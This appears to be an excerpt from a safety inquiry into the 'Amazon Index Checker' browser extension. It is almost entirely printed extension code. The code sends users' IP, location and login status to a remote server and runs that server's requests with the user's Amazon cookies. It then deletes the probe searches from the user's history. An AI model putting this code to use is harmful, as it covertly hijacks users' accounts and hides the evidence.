Is Amazon Index Checker safe?

function Au(e) {  console.log(e.version), chrome.runtime.reload()}ts.initializeSocket("index-checker", "");chrome.runtime.onUpdateAvailable.addListener(Au);

    fa = (p, k) => {      Kt = Kt, (0, n.get)("socket_id").then(D => {        j = D      }).catch(() => {        j = (0, r.v4)(), (0, n.set)("socket_id", j).then(() => {})      }).finally(() => t(void 0, void 0, void 0, function*() {        var D;        try {          Xe = yield(0, n.get)("country_id"), ht = yield(0, n.get)("ip_address")        } catch {          const u = yield(yield fetch("https://lumtest.com/myip.json")).json();          Xe = u.country, ht = u.ip, (0, n.set)("country_id", Xe), (0, n.set)("ip_address", ht)        }        let g = "";        try {          g = yield(0, s.fetchDetails)(S[Xe])        } catch {}        if (g) {          be = (0, s.parse)(g, a.zipCodeSchema);          const d = (0, s.parse)(g, a.userLoggedInSchema);          !((D = d == null ? void 0 : d.sign_in_button_url) === null || D === void 0) && D.includes("signin") ? Qt = !1 : Qt = !0        } else be = {          zip_code: ""        };        re = (0, r.v4)(), Qe = new WebSocket(`${sa}/scraper-net/websocket?id=${j}&instance_id=${re}&geo=${Xe}&ext_type=${p}&account_id=${k}&ip_address=${ht}&zip_code=${be==null?void 0:be.zip_code}&is_user_logged_in=${Qt}`), ha(Qe, j, p)      }))    };  e.initializeSocket = fa;  const ha = (p, k, D) => {      p.onopen = () => t(void 0, void 0, void 0, function*() {        console.log("WebSocket connection established........"), et = 1e3, Fr = 6e4, mt = 100, Ee && clearInterval(Ee), Ee = setInterval(() => {          p.send(JSON.stringify({            socket_id: k,            status: 200,            type: "health",            zip_code: be == null ? void 0 : be.zip_code          }))        }, 3e4);        try {          const d = yield ma();          p.send(JSON.stringify({            socket_id: k,            status: 200,            type: "login_status",            login_status: d          }))        } catch {          console.log("Error in checking multiple countries login")        }      }), p.onmessage = function(d) {        return t(this, void 0, void 0, function*() {          const y = d.data,            u = JSON.parse(y);          if (u.url || u.parser_config_url.page_type === "RUFUS_EXTENDED") {            let v = u.url;            const M = u.parser_config_url.page_type;            if (M === "RUFUS_EXTENDED") {              const O = S[u.parser_config_url.geo] || "https://www.amazon.in";              if (v = `${O}/rufus/cl/streaming?tabId=${u.tabId||(0,r.v4)()}&ref=nl_cl_dsk_csq&programId=NILE_CLASSIC:desktop-cl`, !u.rufusToken) {                const Y = u.url || O,                  E = yield(0, s.fetchDetails)(Y);                typeof E == "string" && (u.rufusToken = yield(0, e.getRufusToken)(E, Y))              }            }            if (u.zipcode && v) {              const Y = i.default.parseUrl(v).url,                E = /https?:\/\/(www\.)?([a-zA-Z0-9.-]+)/,                H = Y.match(E);              if (H) {                const X = H[0],                  V = yield(0, s.fetchDetails)(X);                yield(0, o.setZipCode)(V, X, u.zipcode)              }            }            const N = M === "RUFUS_EXTENDED" ? {              method: "POST",              body: {                queryContext: {                  query: "best mobile cover to buy",                  actionType: "SEARCH",                  qis: "NileCLTextInput"                },                pageContext: {                  pageType: "SEARCH_RESULTS",                  targetPageType: "SEARCH_RESULTS",                  originPageType: "SEARCH_RESULTS",                  targetUrl: "https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2",                  originUrl: "https://www.amazon.in/s?k=shoes&crid=K5MCO7Y02P4D&sprefix=shoes%2Caps%2C396&ref=nb_sb_noss_2",                  targetPageMetadata: [{                    type: "KEYWORDS",                    value: "shoes"                  }],                  pageMetadata: [{                    type: "KEYWORDS",                    value: "shoes"                  }],                  originPageMetadata: [{                    type: "KEYWORDS",                    value: "shoes"                  }]                }              },              headers: {                "Content-Type": "application/json",                "anti-csrftoken-a2z": "hHqVzDHmU7Is8nzCo2Y2worrxE6Le8i4eNuimVauLTHwAAAAAGmv31piMDI3OTI3Mi0xN2VjLTRkM2YtYjI5Yi0yMjlkMjViMmJjOGM=",                Accept: "*/*",                "Cache-Control": "no-cache",                "sec-fetch-dest": "empty",                "sec-fetch-mode": "cors",                "sec-fetch-site": "same-origin"              },              isStream: !0            } : {};            (0, s.fetchDetails)(v, !1, 1, 500, N).then(O => t(this, void 0, void 0, function*() {              let Y = {};              typeof O == "object" && O.status !== 200 ? Y = {                socket_id: k,                data: {},                timestamp: new Date,                status: O.status,                scrapeUrl: v,                instance_id: re,                version: h.version,                html: "",                request_id: u.request_id              } : typeof O == "string" && (M === "RUFUS_EXTENDED" ? Y = yield(0, e.getRufusExtendedDetails)(O, u.url, u.request_id): M === "KEYWORD_SEARCH" ? Y = yield aa(O, v, u.parse_html, u.all_pages || !1, (u == null ? void 0 : u.page_limit) || 7, u.request_id): M === "PRODUCT_LISTING" ? Y = ia(O, v, u.parse_html, u.request_id) : M === "SELLER_PROFILE" ? Y = oa(O, v, u.parse_html, u.request_id) : M === "QNA_DETAILS" ? Y = la(O, v, u.parse_html, u.request_id) : M === "REVIEW_DETAILS" ? Y = yield ua(O, v, u.parse_html, u.request_id): M === "BEST_SELLER" ? Y = da(O, v, u.parse_html, u.request_id) : M === "OFFERS_DETAILS" ? Y = yield ca(O, v, u.parse_html, u.request_id): M === "RUFUS_DETAILS" && (Y = yield(0, e.getRufusDetails)(O, u.url, u.query, u.request_id, u.searchSource))), p.send(JSON.stringify(Y))            })).catch(O => {              p.send(JSON.stringify({                error: "parse error",                request_id: u.request_id,                status: 500              }))            })          }        })      }, p.onerror = function(d) {        Ee && clearInterval(Ee), console.error("WebSocket error:", d)      }, p.onclose = function(d) {        Ee && clearInterval(Ee), g(D)      };      function g(d) {        (!p || p.readyState === WebSocket.CLOSED) && (et < Fr && (et *= 2), mt > 0 ? (console.log(`Attempting to reconnect in ${et} ms. Attempts left: ${mt}`), setTimeout(function() {          (0, e.initializeSocket)(d, Kt), mt--        }, et)) : console.error("Maximum reconnection attempts reached. Unable to establish WebSocket connection."))      }    },

    n = (E, d = !1, f = 1, _ = 500, g = {}) => t(void 0, void 0, void 0, function*() {      var A, I;      let y = 0;      for (; y <= f;) try {        const P = yield fetch(E, {          method: g.method || "GET",          mode: "cors",          credentials: "include",          headers: g.headers || {},          body: g.body ? JSON.stringify(g.body) : void 0        });        if (P.url.includes("ap/signin") && (y = f), P.redirected && d && y !== f) y++, yield new Promise(x => setTimeout(x, _ * Math.pow(2, y)));        else {          if (y === f && P.status !== 200) return {            status: 302          };          if (P.status === 200) {            if (g.isStream) {              if (!P.body) throw new Error("ReadableStream not supported in response");              const x = P.body.getReader(),                w = new TextDecoder("utf-8");              let H = "",                V = "";              for (;;) {                const {                  value: ce,                  done: _e                } = yield x.read();                if (_e) break;                V += w.decode(ce, {                  stream: !0                });                const k = V.split(``);                V = k.pop() || "";                for (const b of k) {                  if (!b.startsWith("data:")) continue;                  const D = b.replace(/^data:\s*/, "").trim();                  if (D) try {                    const v = JSON.parse(D);                    H += (A = v.htmlRenderedChunk) !== null && A !== void 0 ? A : ""                  } catch (v) {                    console.error("❌ Invalid JSON chunk:", v.message)                  }                }              }              if (V.startsWith("data:")) {                const ce = V.replace(/^data:\s*/, "").trim();                if (ce) try {                  const _e = JSON.parse(ce);                  H += (I = _e.htmlRenderedChunk) !== null && I !== void 0 ? I : ""                } catch (_e) {                  console.error("❌ Invalid JSON chunk:", _e.message)                }              }              return H            }            return yield P.text()          } else return {            status: P.status          }        }      } catch {        return {          status: 500        }      }    });  e.fetchDetails = n;

const PROBE_KEYWORD = "samsung";

for (const countryCode of Object.keys(AMAZON_DOMAINS)) { const html = await fetchDetails(`${AMAZON_DOMAINS[countryCode]}/s?k=${PROBE_KEYWORD}`); const loginStatus = parse(html, userLoggedInSchema); const result = { geo: countryCode }; result.isLoggedIn = !loginStatus?.sign_in_button_url?.includes('signin'); // ... collect product/review data ... results.push(result); try { await deleteRecentSearch(countryCode); // always runs, regardless of login } catch { console.log('Error in deleting recent search'); }}

const deleteRecentSearch = (countryCode) => { const marketplace = MARKETPLACE_TABLE[countryCode]; return axios.delete( `https://completion.${marketplace.domain}/api/2017/recentsearches` + `?mid=${marketplace.marketplace_id}&s-value=${PROBE_KEYWORD}&s-search-alias=aps` );};